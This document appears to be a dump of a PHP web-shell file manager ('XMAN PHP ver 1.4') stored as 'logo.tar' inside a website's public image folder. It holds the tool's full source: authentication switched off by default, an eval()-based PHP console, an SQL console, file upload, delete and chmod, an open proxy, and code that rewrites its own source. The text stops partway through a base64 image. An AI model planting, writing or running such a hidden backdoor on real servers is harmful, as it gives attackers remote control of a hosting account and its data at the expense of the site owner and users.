Файловый менеджер - Редактировать - /home/u862314748/domains/zyzoon.xyz/public_html/static/img/logo/logo.tar
Назад
428359519hc.php 0000644 00000227367 15020743441 0006626 0 ustar 00 <?pHp /* XMAN PHP ver 1.4*/ // Configuration — do not change manually! $authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}'; $php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}'; $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}'; $translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello","Found in files":"Found in files","Search":"Search","Recursive search":"Recursive search","Mask":"Mask"}'; // end configuration // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg = ''; // service string $default_language = 'ru'; $detect_lang = true; $fm_version = 1.4; //Authorization $auth = json_decode($authorization,true); $auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; $auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30; $auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin'; $auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm'; $auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user'; $auth['script'] = isset($auth['script']) ? $auth['script'] : ''; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>'.__('File manager').'</title> </head> <body> <form action="" method="post"> '.__('Login').' <input name="login" type="text"> '.__('Password').' <input name="password" type="password"> <input type="submit" value="'.__('Enter').'" class="fm_input"> </form> '.fm_lang_form($language).' </body> </html> '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg = __('Settings').' '.__('done'); } elseif (isset($_POST['fm_login'])) { if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login']; $fm_login = json_encode($_POST['fm_login']); $fgc = file_get_contents(__FILE__); $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login']; if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password']; $auth = $_POST['fm_login']; } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } elseif (isset($_POST['tpl_edited'])) { $lng_tpl = $_POST['tpl_edited']; if (!empty($_POST[$lng_tpl.'_name'])) { $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS); } elseif (!empty($_POST[$lng_tpl.'_new_name'])) { $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS); } if (!empty($fm_php)) { $fgc = file_get_contents(__FILE__); $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc); if (file_put_contents(__FILE__, $replace)) { ${$lng_tpl.'_templates'} = $fm_php; $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } } else $msg .= __('Error occurred'); } } // Just show image if (isset($_GET['img'])) { $file=base64_decode($_GET['img']); if ($info=getimagesize($file)){ switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP case 1: $ext='gif'; break; case 2: $ext='jpeg'; break; case 3: $ext='png'; break; case 6: $ext='bmp'; break; default: die(); } header("Content-type: image/$ext"); echo file_get_contents($file); die(); } } // Just download file if (isset($_GET['download'])) { $file=base64_decode($_GET['download']); fm_download($file); } // Just show info if (isset($_GET['phpinfo'])) { phpinfo(); die(); } // Mini proxy, many bugs! if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) { $url = isset($_GET['url'])?urldecode($_GET['url']):''; $proxy_form = ' <div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);"> <form action="" method="GET"> <input type="hidden" name="proxy" value="true"> '.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55"> <input type="submit" value="'.__('Show').'" class="fm_input"> </form> </div> '; if ($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy'); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_REFERER, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); $result = curl_exec($ch); curl_close($ch); //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result); $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result); $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result); echo $result; die(); } } ?> <!doctype html> <html> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title><?=__('File manager')?></title> <style> body { background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; margin: 0px; } a:link, a:active, a:visited { color: #006699; text-decoration: none; } a:hover { color: #DD6900; text-decoration: underline; } a.th:link { color: #FFA34F; text-decoration: none; } a.th:active { color: #FFA34F; text-decoration: none; } a.th:visited { color: #FFA34F; text-decoration: none; } a.th:hover { color: #FFA34F; text-decoration: underline; } table.bg { background-color: #ACBBC6 } th, td { font: normal 8pt Verdana, Arial, Helvetica, sans-serif; padding: 3px; } th { height: 25px; background-color: #006699; color: #FFA34F; font-weight: bold; font-size: 11px; } .row1 { background-color: #EFEFEF; } .row2 { background-color: #DEE3E7; } .row3 { background-color: #D1D7DC; padding: 5px; } tr.row1:hover { background-color: #F3FCFC; } tr.row2:hover { background-color: #F0F6F6; } .whole { width: 100%; } .all tbody td:first-child{width:100%;} textarea { font: 9pt 'Courier New', courier; line-height: 125%; padding: 5px; } .textarea_input { height: 1em; } .textarea_input:focus { height: auto; } input[type=submit]{ background: #FCFCFC none !important; cursor: pointer; } .folder { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2o